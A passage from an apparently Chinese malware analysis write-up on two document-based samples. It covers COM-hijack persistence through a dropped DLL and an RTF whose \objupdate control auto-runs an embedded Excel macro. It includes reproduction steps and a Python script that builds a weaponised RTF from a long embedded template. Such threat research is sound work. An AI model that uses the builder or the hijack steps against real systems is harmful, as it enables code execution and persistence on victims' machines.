jdzqBQcgjBylOD,C:\Windows\System32, Null, 0 * 1`
## 0x07 未知组织某样本分析
### 分析
基本信息：
> MD5: 0A286239B3FE2E44545470E4117F66EB
文档内容如下：
当文档打开或关闭，传递不同参数给函数`Fa()`，它将调用函数`s1()`。
函数`s1()`主要功能为替换文档中字符串。之后文档更新，更新后文档内容如下图：
随后调用`ProperRender`函数。获取文本内容并解密，将解密后文本写入`%LOCALAPPDATA%\Microsoft\EdgeFss\FileSyncShell64.dll`：
通过COM劫持，修改注册表键值实现持久化。修改后键值如下图所示：
### 复现
用同样方式劫持clsid，此处劫持`{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}`，即`oleacc.dll`。
编译一个DLL，其用于弹出CMD窗口，将内容写入WORD文档的文本框中并设置不可见。内容解密后写入`1.dll`：
修改键值，将注册表默认路径修改为`1.dll`文件路径：
打开Internet Explorer，成功弹出CMD窗口：
## 0x08 Donot组织某样本分析
### 分析
基本信息：
> MD5: 9f022772ec69d04e736c3fe33a876d6b
该文件为RTF格式，其中内嵌一带宏代码的Excel及一压缩包，通过rtfobj.py将其提取，并使用oledump获取Excel中的宏代码进行分析。
文档内容如下：
将压缩包中数据写入`C:\Windows\Tasks\file.zip`中，之后创建快捷方式指向两个js文件，其中pvr.js中用以通过`rundll32.exe`执行`commit.dll`：
### 复现
样本中使用了`\objupdate`控件，当RTF文档加载后，该控件会触发嵌入Excel表中的宏代码执行。可采用替换样本中的VBA代码部分——即`\objdata`对象。演示：
自动化脚本如下：
#coding=utf-8
import re
import os
inputfile=open('1.rtf',"rU")
i=inputfile.read()
str=re.findall("objdata([\\s\\S]*?)\\}", i)
inputfile.close()
string1=r"""{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31506\stshfloch31506\stshfhich31506\stshfbi31507\deflang1033\deflangfe1033\themelang1033\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f34\fbidi \froman\fcharset1\fprq2{\*\panose 02040503050406030204}Cambria Math;}
{\f37\fbidi \fswiss\fcharset0\fprq2{\*\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}
{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}
{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}
{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhiminor\f31506\fbidi \fswiss\fcharset0\fprq2{\*\panose 020f0502020204030204}Calibri;}
{\fbiminor\f31507\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f39\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\f40\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}
{\f42\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\f43\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\f44\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\f45\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}
{\f46\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\f47\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\f409\fbidi \fswiss\fcharset238\fprq2 Calibri CE;}{\f410\fbidi \fswiss\fcharset204\fprq2 Calibri Cyr;}
{\f412\fbidi \fswiss\fcharset161\fprq2 Calibri Greek;}{\f413\fbidi \fswiss\fcharset162\fprq2 Calibri Tur;}{\f416\fbidi \fswiss\fcharset186\fprq2 Calibri Baltic;}{\f417\fbidi \fswiss\fcharset163\fprq2 Calibri (Vietnamese);}
{\flomajor\f31508\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\flomajor\f31509\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\flomajor\f31511\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}
{\flomajor\f31512\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\flomajor\f31513\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\flomajor\f31514\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}
{\flomajor\f31515\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\flomajor\f31516\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fdbmajor\f31518\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}
{\fdbmajor\f31519\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\fdbmajor\f31521\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fdbmajor\f31522\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}
{\fdbmajor\f31523\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\fdbmajor\f31524\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fdbmajor\f31525\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}
{\fdbmajor\f31526\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fhimajor\f31528\fbidi \froman\fcharset238\fprq2 Cambria CE;}{\fhimajor\f31529\fbidi \froman\fcharset204\fprq2 Cambria Cyr;}
{\fhimajor\f31531\fbidi \froman\fcharset161\fprq2 Cambria Greek;}{\fhimajor\f31532\fbidi \froman\fcharset162\fprq2 Cambria Tur;}{\fhimajor\f31535\fbidi \froman\fcharset186\fprq2 Cambria Baltic;}
{\fhimajor\f31536\fbidi \froman\fcharset163\fprq2 Cambria (Vietnamese);}{\fbimajor\f31538\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fbimajor\f31539\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}
{\fbimajor\f31541\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbimajor\f31542\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fbimajor\f31543\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}
{\fbimajor\f31544\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbimajor\f31545\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fbimajor\f31546\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}
{\flominor\f31548\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\flominor\f31549\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\flominor\f31551\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}
{\flominor\f31552\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\flominor\f31553\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\flominor\f31554\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}
{\flominor\f31555\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\flominor\f31556\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fdbminor\f31558\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}
{\fdbminor\f31559\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\fdbminor\f31561\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fdbminor\f31562\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}
{\fdbminor\f31563\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\fdbminor\f31564\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fdbminor\f31565\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}
{\fdbminor\f31566\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fhiminor\f31568\fbidi \fswiss\fcharset238\fprq2 Calibri CE;}{\fhiminor\f31569\fbidi \fswiss\fcharset204\fprq2 Calibri Cyr;}
{\fhiminor\f31571\fbidi \fswiss\fcharset161\fprq2 Calibri Greek;}{\fhiminor\f31572\fbidi \fswiss\fcharset162\fprq2 Calibri Tur;}{\fhiminor\f31575\fbidi \fswiss\fcharset186\fprq2 Calibri Baltic;}
{\fhiminor\f31576\fbidi \fswiss\fcharset163\fprq2 Calibri (Vietnamese);}{\fbiminor\f31578\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fbiminor\f31579\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}
{\fbiminor\f31581\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbiminor\f31582\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fbiminor\f31583\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}
{\fbiminor\f31584\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbiminor\f31585\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fbiminor\f31586\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}}
{\colortbl;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;\red255\green255\blue255;\red0\green0\blue128;\red0\green128\blue128;\red0\green128\blue0;
\red128\green0\blue128;\red128\green0\blue0;\red128\green128\blue0;\red128\green128\blue128;\red192\green192\blue192;}{\*\defchp \f31506\fs22 }{\*\defpap \ql \li0\ri0\sa200\sl276\slmult1
\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 }\noqfpromote {\stylesheet{\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af31507\afs22\alang1025
\ltrch\fcs0 \f31506\fs22\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 \snext0 \sqformat \spriority0 Normal;}{\*\cs10 \additive \ssemihidden \sunhideused \spriority1 Default Paragraph Font;}{\*
\ts11\tsrowd\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\trcbpat1\trcfpat1\tblind0\tblindtype3\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv \ql \li0\ri0\sa200\sl276\slmult1
\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af31507\afs22\alang1025 \ltrch\fcs0 \f31506\fs22\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 \snext11 \ssemihidden \sunhideused Normal Table;}}
{\*\rsidtbl \rsid4398874\rsid13916518}{\mmathPr\mmathFont34\mbrkBin0\mbrkBinSub0\msmallFrac0\mdispDef1\mlMargin0\mrMargin0\mdefJc1\mwrapIndent1440\mintLim0\mnaryLim1}{\info{\author Windows User}{\operator Windows User}{\creatim\yr2019\mo12\dy9\hr11\min49}
{\revtim\yr2019\mo12\dy9\hr11\min49}{\version1}{\edmins0}{\nofpages1}{\nofwords5}{\nofchars35}{\nofcharsws39}{\vern49247}}{\*\xmlnstbl {\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}
\paperw12240\paperh15840\margl1440\margr1440\margt1440\margb1440\gutter0\ltrsect
\widowctrl\ftnbj\aenddoc\trackmoves0\trackformatting1\donotembedsysfont1\relyonvml0\donotembedlingdata0\grfdocevents0\validatexml1\showplaceholdtext0\ignoremixedcontent0\saveinvalidxml0\showxmlerrors1\noxlattoyen
\expshrtn\noultrlspc\dntblnsbdb\nospaceforul\formshade\horzdoc\dgmargin\dghspace180\dgvspace180\dghorigin1440\dgvorigin1440\dghshow1\dgvshow1
\jexpand\viewkind1\viewscale100\pgbrdrhead\pgbrdrfoot\splytwnine\ftnlytwnine\htmautsp\nolnhtadjtbl\useltbaln\alntblind\lytcalctblwd\lyttblrtgr\lnbrkrule\nobrkwrptbl\snaptogridincell\allowfieldendsel\wrppunct
\asianbrkrule\rsidroot13916518\newtblstyruls\nogrowautofit\usenormstyforlist\noindnmbrts\felnbrelev\nocxsptable\indrlsweleven\noafcnsttbl\afelev\utinl\hwelev\spltpgpar\notcvasp\notbrkcnstfrctbl\notvatxbx\krnprsnet\cachedcolbal \nouicompat \fet0
{\*\wgrffmtfilter 2450}\nofeaturethrottle1\ilfomacatclnup0\ltrpar \sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sftnbj {\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang
{\pntxta .}}{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang {\pntxta )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl6\pnlcltr\pnstart1\pnindent720\pnhang
{\pntxtb (}{\pntxta )}}{\*\pnseclvl7\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl8\pnlcltr\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}{\*\pnseclvl9\pnlcrm\pnstart1\pnindent720\pnhang {\pntxtb (}{\pntxta )}}
\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af31507\afs22\alang1025 \ltrch\fcs0 \f31506\fs22\lang1033\langfe1033\cgrid\langnp1033\langfenp1033
{\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af31507\afs22\alang1025 \ltrch\fcs0 \f31506\fs22\lang1033\langfe1033\cgrid\langnp1033\langfenp1033\insrsid13916518
{\object\objemb\objupdate\objw7242\objh2929{\*\objclass Excel.SheetMacroEnabled.12}{\*\objdata"""
string2=r"""}{\result {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid13916518
{\*\shppict{\pict{\*\picprop\shplid1025{\sp{\sn shapeType}{\sv 75}}{\sp{\sn fFlipH}{\sv 0}}{\sp{\sn fFlipV}{\sv 0}}{\sp{\sn fLineRecolorFillAsPicture}{\sv 0}}{\sp{\sn fLineUseShapeAnchor}{\sv 0}}{\sp{\sn fInsetPen}{\sv 0}}{\sp{\sn fInsetPenOK}{\sv 1}}
{\sp{\sn fArrowheadsOK}{\sv 0}}{\sp{\sn fLine}{\sv 0}}{\sp{\sn fHitTestLine}{\sv 1}}{\sp{\sn lineFillShape}{\sv 1}}{\sp{\sn fNoLineDrawDash}{\sv 0}}{\sp{\sn fLayoutInCell}{\sv 1}}}\picscalex100\picscaley100\piccropl0\piccropr0\piccropt0\piccropb0
\picw12772\pich5165\picwgoal7241\pichgoal2928\emfblip\bliptag-2042615048{\*\blipuid 86402af86d0601fc5f5f603fff81d6ed}010000006c0000000000000000000000ffffffffffffffff0000000000000000e33d0000b51b000020454d4600000100fc020000270000000100000000000000
00000000000000005605000000030000e20100000f010000000000000000000000000000665a070055220400460000002c00000020000000454d462b01400100
1c000000100000000210c0db010000006000000060000000460000005c00000050000000454d462b224004000c000000000000001e4009000c00000000000000
244001000c000000000000003040020010000000040000000000803f214007000c00000000000000044000000c00000000000000180000000c00000000000000
190000000c000000ffffff00140000000c0000000d000000120000000c000000020000002100000008000000220000000c000000ffffffff2100000008000000
220000000c000000ffffffff0a0000001000000000000000000000002100000008000000190000000c000000ffffff00180000000c0000000000000022000000
0c000000ffffffff2100000008000000190000000c000000ffffff00180000000c000000000000001e000000180000000000000000000000c1010000c9000000
220000000c000000ffffffff2100000008000000190000000c000000ffffff00180000000c000000000000001e000000180000000100000001000000c1010000
c9000000220000000c000000ffffffff2100000008000000190000000c000000ffffff00180000000c000000000000001e000000180000000100000001000000
c1010000c9000000220000000c000000ffffffff2100000008000000190000000c000000ffffff00180000000c000000000000001e0000001800000001000000
01000000c1010000c9000000220000000c000000ffffffff460000003400000028000000454d462b2a40000024000000180000000000803f00000080000000800000803f0000008000000080460000001c00000010000000454d462b024000000c000000000000000e00000014000000000000001000000014000000}
}{\nonshppict{\pict\picscalex108\picscaley97\piccropl0\piccropr0\piccropt0\piccropb0\picw11880\pich5318\picwgoal6735\pichgoal3015\wmetafile8\bliptag-2042615048\blipupi96{\*\blipuid 86402af86d0601fc5f5f603fff81d6ed}
0100090000034f02000000009401000000009401000026060f001e03574d4643010000000000010006af0000000001000000fc02000000000000fc0200000100
00006c0000000000000000000000ffffffffffffffff0000000000000000e33d0000b51b000020454d4600000100fc0200002700000001000000000000000000
0000000000005605000000030000e20100000f010000000000000000000000000000665a070055220400460000002c00000020000000454d462b014001001c00
0000100000000210c0db010000006000000060000000460000005c00000050000000454d462b224004000c000000000000001e4009000c000000000000002440
01000c000000000000003040020010000000040000000000803f214007000c00000000000000044000000c00000000000000180000000c000000000000001900
00000c000000ffffff00140000000c0000000d000000120000000c000000020000002100000008000000220000000c000000ffffffff21000000080000002200
00000c000000ffffffff0a0000001000000000000000000000002100000008000000190000000c000000ffffff00180000000c00000000000000220000000c00
0000ffffffff2100000008000000190000000c000000ffffff00180000000c000000000000001e000000180000000000000000000000c1010000c90000002200
00000c000000ffffffff2100000008000000190000000c000000ffffff00180000000c000000000000001e000000180000000100000001000000c1010000c900
0000220000000c000000ffffffff2100000008000000190000000c000000ffffff00180000000c000000000000001e000000180000000100000001000000c101
0000c9000000220000000c000000ffffffff2100000008000000190000000c000000ffffff00180000000c000000000000001e00000018000000010000000100
0000c1010000c9000000220000000c000000ffffffff460000003400000028000000454d462b2a40000024000000180000000000803f00000080000000800000
803f0000008000000080460000001c00000010000000454d462b024000000c000000000000000e00000014000000000000001000000014000000040000000301
0800050000000b0200000000050000000c02c900c10105000000090200000000050000000102ffffff000400000004010d000400000002010200030000001e00
040000002701ffff030000001e00040000002701ffff030000001e00050000000102ffffff0005000000090200000000040000002701ffff030000001e000500
00000102ffffff0005000000090200000000040000002c010000070000001604c900c10100000000040000002701ffff030000001e00050000000102ffffff00
05000000090200000000040000002c010000070000001604c900c10101000100040000002701ffff030000001e00050000000102ffffff000500000009020000
0000040000002c010000070000001604c900c10101000100040000002701ffff030000001e00050000000102ffffff0005000000090200000000040000002c010000070000001604c900c10101000100040000002701ffff030000000000}}}}}}\sectd \ltrsect
\linex0\endnhere\sectlinegrid360\sectdefaultcl\sftnbj {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid4398874
\par }{\*\themedata 504b030414000600080000002100e9de0fbfff0000001c020000130000005b436f6e74656e745f54797065735d2e786d6cac91cb4ec3301045f748fc83e52d4a
9cb2400825e982c78ec7a27cc0c8992416c9d8b2a755fbf74cd25442a820166c2cd933f79e3be372bd1f07b5c3989ca74aaff2422b24eb1b475da5df374fd9ad
5689811a183c61a50f98f4babebc2837878049899a52a57be670674cb23d8e90721f90a4d2fa3802cb35762680fd800ecd7551dc18eb899138e3c943d7e503b6
b01d583deee5f99824e290b4ba3f364eac4a430883b3c092d4eca8f946c916422ecab927f52ea42b89a1cd59c254f919b0e85e6535d135a8de20f20b8c12c3b0
0c895fcf6720192de6bf3b9e89ecdbd6596cbcdd8eb28e7c365ecc4ec1ff1460f53fe813d3cc7f5b7f020000ffff0300504b030414000600080000002100a5d6
a7e7c0000000360100000b0000005f72656c732f2e72656c73848fcf6ac3300c87ef85bd83d17d51d2c31825762fa590432fa37d00e1287f68221bdb1bebdb4f
c7060abb0884a4eff7a93dfeae8bf9e194e720169aaa06c3e2433fcb68e1763dbf7f82c985a4a725085b787086a37bdbb55fbc50d1a33ccd311ba548b6309512
0f88d94fbc52ae4264d1c910d24a45db3462247fa791715fd71f989e19e0364cd3f51652d73760ae8fa8c9ffb3c330cc9e4fc17faf2ce545046e37944c69e462
a1a82fe353bd90a865aad41ed0b5b8f9d6fd010000ffff0300504b0304140006000800000021006b799616830000008a0000001c0000007468656d652f746865
6d652f7468656d654d616e616765722e786d6c0ccc4d0ac3201040e17da17790d93763bb284562b2cbaebbf600439c1a41c7a0d29fdbd7e5e38337cedf14d59b
4b0d592c9c070d8a65cd2e88b7f07c2ca71ba8da481cc52c6ce1c715e6e97818c9b48d13df49c873517d23d59085adb5dd20d6b52bd521ef2cdd5eb9246a3d8b
4757e8d3f729e245eb2b260a0238fd010000ffff0300504b03041400060008000000210030dd4329a8060000a41b0000160000007468656d652f7468656d652f
7468656d65312e786d6cec594f6fdb3614bf0fd87720746f6327761a07758ad8b19b2d4d1bc46e871e698996d850a240d2497d1bdae38001c3ba618715d86d87
615b8116d8a5fb34d93a6c1dd0afb0475292c5585e9236d88aad3e2412f9e3fbff1e1fa9abd7eec70c1d1221294fda5efd72cd4324f1794093b0eddd1ef62fad
79482a9c0498f184b4bd2991deb58df7dfbb8ad755446282607d22d771db8b944ad79796a40fc3585ee62949606ecc458c15bc8a702910f808e8c66c69b9565b
5d8a314d3c94e018c8de1a8fa94fd05093f43672e23d06af89927ac06762a049136785c10607758d9053d965021d62d6f6804fc08f86e4bef210c352c144dbab
999fb7b4717509af678b985ab0b6b4ae6f7ed9ba6c4170b06c788a705430adf71bad2b5b057d03606a1ed7ebf5babd7a41cf00b0ef83a6569632cd467faddec9
699640f6719e76b7d6ac355c7c89feca9cccad4ea7d36c65b258a206641f1b73f8b5da6a6373d9c11b90c537e7f08dce66b7bbeae00dc8e257e7f0fd2badd586
8b37a088d1e4600ead1ddaef67d40bc898b3ed4af81ac0d76a197c86826828a24bb318f3442d8ab518dfe3a20f000d6458d104a9694ac6d88728eee2782428d6
0cf03ac1a5193be4cbb921cd0b495fd054b5bd0f530c1931a3f7eaf9f7af9e3f45c70f9e1d3ff8e9f8e1c3e3073f5a42ceaa6d9c84e5552fbffdeccfc71fa33f
9e7ef3f2d117d57859c6fffac327bffcfc793510d26726ce8b2f9ffcf6ecc98baf3efdfdbb4715f04d814765f890c644a29be408edf3181433567125272371be
15c308d3f28acd249438c19a4b05fd9e8a1cf4cd296699771c393ac4b5e01d01e5a30a787d72cf1178108989a2159c77a2d801ee72ce3a5c545a6147f32a9979
3849c26ae66252c6ed637c58c5bb8b13c7bfbd490a75330f4b47f16e441c31f7184e140e494214d273fc80900aedee52ead87597fa824b3e56e82e451d4c2b4d
32a423279a668bb6690c7e9956e90cfe766cb37b077538abd27a8b1cba48c80acc2a841f12e698f13a9e281c57911ce298950d7e03aba84ac8c154f8655c4f2a
f074481847bd804859b5e696007d4b4edfc150b12addbecba6b18b148a1e54d1bc81392f23b7f84137c2715a851dd0242a633f900710a218ed715505dfe56e86
e877f0034e16bafb0e258ebb4faf06b769e888340b103d331115bebc4eb813bf83291b63624a0d1475a756c734f9bbc2cd28546ecbe1e20a3794ca175f3fae90
fb6d2dd99bb07b55e5ccf68942bd0877b23c77b908e8db5f9db7f024d9239010f35bd4bbe2fcae387bfff9e2bc289f2fbe24cfaa301468dd8bd846dbb4ddf1c2
ae7b4c191ba8292337a469bc25ec3d411f06f53a73e224c5292c8de0516732307070a1c0660d125c7d44553488700a4d7bddd3444299910e254ab984c3a219ae
a4adf1d0f82b7bd46cea4388ad1c12ab5d1ed8e1153d9c9f350a3246aad01c6873462b9ac05999ad5cc988826eafc3acae853a33b7ba11cd1445875ba1b236b1
399483c90bd560b0b0263435085a21b0f22a9cf9356b38ec6046026d77eba3dc2dc60b17e92219e180643ed27acffba86e9c94c7ca9c225a0f1b0cfae0788ad5
4adc5a9aec1b703b8b93caec1a0bd8e5de7b132fe5113cf312503b998e2c2927274bd051db6b35979b1ef271daf6c6704e86c73805af4bdd476216c26593af84
0dfb5393d964f9cc9bad5c313709ea70f561ed3ea7b053075221d51696910d0d339585004b34272bff7213cc7a510a5454a3b349b1b206c1f0af490176745d4b
c663e2abb2b34b23da76f6352ba57ca2881844c1111ab189d8c7e07e1daaa04f40255c77988aa05fe06e4e5bdb4cb9c5394bbaf28d98c1d971ccd20867e556a7
689ec9166e0a522183792b8907ba55ca6e943bbf2a26e52f48957218ffcf54d1fb09dc3eac04da033e5c0d0b8c74a6b43d2e54c4a10aa511f5fb021a07533b20
5ae07e17a621a8e082dafc17e450ffb739676998b48643a4daa7211214f623150942f6a02c99e83b85583ddbbb2c4996113211551257a656ec1139246ca86be0
aadedb3d1441a89b6a929501833b197fee7b9641a3503739e57c732a59b1f7da1cf8a73b1f9bcca0945b874d4393dbbf10b1680f66bbaa5d6f96e77b6f59113d
316bb31a795600b3d256d0cad2fe354538e7566b2bd69cc6cbcd5c38f0e2bcc63058344429dc2121fd07f63f2a7c66bf76e80d75c8f7a1b622f878a18941d840
545fb28d07d205d20e8ea071b283369834296bdaac75d256cb37eb0bee740bbe278cad253b8bbfcf69eca23973d939b97891c6ce2cecd8da8e2d343578f6648a
c2d0383fc818c798cf64e52f597c740f1cbd05df0c264c49134cf09d4a60e8a107260f20f92d47b374e32f000000ffff0300504b030414000600080000002100
0dd1909fb60000001b010000270000007468656d652f7468656d652f5f72656c732f7468656d654d616e616765722e786d6c2e72656c73848f4d0ac2301484f7
8277086f6fd3ba109126dd88d0add40384e4350d363f2451eced0dae2c082e8761be9969bb979dc9136332de3168aa1a083ae995719ac16db8ec8e4052164e89
d93b64b060828e6f37ed1567914b284d262452282e3198720e274a939cd08a54f980ae38a38f56e422a3a641c8bbd048f7757da0f19b017cc524bd62107bd500
1996509affb3fd381a89672f1f165dfe514173d9850528a2c6cce0239baa4c04ca5bbabac4df000000ffff0300504b01022d0014000600080000002100e9de0f
bfff0000001c0200001300000000000000000000000000000000005b436f6e74656e745f54797065735d2e786d6c504b01022d0014000600080000002100a5d6
a7e7c0000000360100000b00000000000000000000000000300100005f72656c732f2e72656c73504b01022d00140006000800000021006b799616830000008a
0000001c00000000000000000000000000190200007468656d652f7468656d652f7468656d654d616e616765722e786d6c504b01022d00140006000800000021
0030dd4329a8060000a41b00001600000000000000000000000000d60200007468656d652f7468656d652f7468656d65312e786d6c504b01022d001400060008
00000021000dd1909fb60000001b0100002700000000000000000000000000b20900007468656d652f7468656d652f5f72656c732f7468656d654d616e616765722e786d6c2e72656c73504b050600000000050005005d010000ad0a00000000}
{\*\colorschememapping 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d3822207374616e64616c6f6e653d22796573223f3e0d0a3c613a636c724d
617020786d6c6e733a613d22687474703a2f2f736368656d61732e6f70656e786d6c666f726d6174732e6f72672f64726177696e676d6c2f323030362f6d6169
6e22206267313d226c743122207478313d22646b3122206267323d226c743222207478323d22646b322220616363656e74313d22616363656e74312220616363
656e74323d22616363656e74322220616363656e74333d22616363656e74332220616363656e74343d22616363656e74342220616363656e74353d22616363656e74352220616363656e74363d22616363656e74362220686c696e6b3d22686c696e6b2220666f6c486c696e6b3d22666f6c486c696e6b222f3e}
{\*\latentstyles\lsdstimax267\lsdlockeddef0\lsdsemihiddendef1\lsdunhideuseddef1\lsdqformatdef0\lsdprioritydef99{\lsdlockedexcept \lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority0 \lsdlocked0 Normal;
\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 1;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 2;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 3;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 4;
\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 5;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 6;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 7;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 8;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 9;
\lsdpriority39 \lsdlocked0 toc 1;\lsdpriority39 \lsdlocked0 toc 2;\lsdpriority39 \lsdlocked0 toc 3;\lsdpriority39 \lsdlocked0 toc 4;\lsdpriority39 \lsdlocked0 toc 5;\lsdpriority39 \lsdlocked0 toc 6;\lsdpriority39 \lsdlocked0 toc 7;
\lsdpriority39 \lsdlocked0 toc 8;\lsdpriority39 \lsdlocked0 toc 9;\lsdqformat1 \lsdpriority35 \lsdlocked0 caption;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority10 \lsdlocked0 Title;\lsdpriority1 \lsdlocked0 Default Paragraph Font;
\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority11 \lsdlocked0 Subtitle;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority22 \lsdlocked0 Strong;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority20 \lsdlocked0 Emphasis;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority59 \lsdlocked0 Table Grid;\lsdunhideused0 \lsdlocked0 Placeholder Text;\lsdsemihidden0 \lsdunhideused0 \lsdqformat1 \lsdpriority1 \lsdlocked0 No Spacing;
\lsdsemihidden0 \lsdunhideused0 \lsdpriority60 \lsdlocked0 Light Shading;\lsdsemihidden0 \lsdunhideused0 \lsdpriority61 \lsdlocked0 Light List;\lsdsemihidden0 \lsdunhideused0 \lsdpriority62 \lsdlocked0 Light Grid;
